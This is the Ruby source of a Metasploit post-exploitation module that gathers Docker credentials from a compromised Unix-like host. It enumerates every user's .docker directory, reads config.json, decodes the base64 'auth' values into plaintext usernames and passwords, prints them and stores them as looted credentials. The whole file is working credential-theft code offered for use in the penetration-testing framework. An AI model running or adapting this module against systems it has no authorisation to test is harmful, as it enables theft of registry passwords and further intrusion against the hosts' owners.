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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'json'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multi Gather Docker Credentials Collection',
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        'Description' => %q{
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          This module will collect the contents of all users' .docker directories on the targeted
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          machine. If the user has already push to docker hub, chances are that the password was
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          saved in base64 (default behavior).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['Flibustier'],
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        'Platform' => %w[bsd linux osx unix],
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        'SessionTypes' => ['shell']
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      )
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    )
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  end
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  # This module is largely based on gpg_creds.rb.
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  def run
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    print_status('Finding .docker directories')
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    paths = enum_user_directories.map { |d| d + '/.docker' }
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    # Array#select! is only in 1.9
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    paths = paths.select { |d| directory?(d) }
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    if paths.nil? || paths.empty?
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      print_error('No users found with a .docker directory')
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      return
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    end
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    download_loot(paths)
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  end
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  def download_loot(paths)
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    print_status("Looting #{paths.count} directories")
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    paths.each do |path|
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      path.chomp!
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      file = 'config.json'
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      target = "#{path}/#{file}"
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      if file? target
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        print_status("Downloading #{target} -> #{file}")
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        extract(target)
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      end
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    end
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  end
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  def extract(target)
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    file = read_file(target)
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    parsed = JSON.parse(file)
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    if parsed['auths']
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      parsed['auths'].each do |key, value|
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        vprint_status("key: #{key}")
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        value.each do |k, v|
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          next unless k == 'auth'
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          plain = Rex::Text.decode_base64(v)
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          next unless plain.include? ':'
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          print_good("Found #{plain}")
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          username, password = plain.split(':')
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          credential_data = {
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            origin_type: :import,
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            module_fullname: fullname,
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            filename: target,
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            workspace_id: myworkspace_id,
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            service_name: 'docker',
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            realm_value: key,
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            realm_key: Metasploit::Model::Realm::Key::WILDCARD,
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            private_type: :password,
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            private_data: password,
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            username: username
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          }
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          create_credential(credential_data)
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          print_good('Saved credentials')
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        end
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      end
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    else
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      print_status('No credentials found in config file')
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    end
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  end
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end
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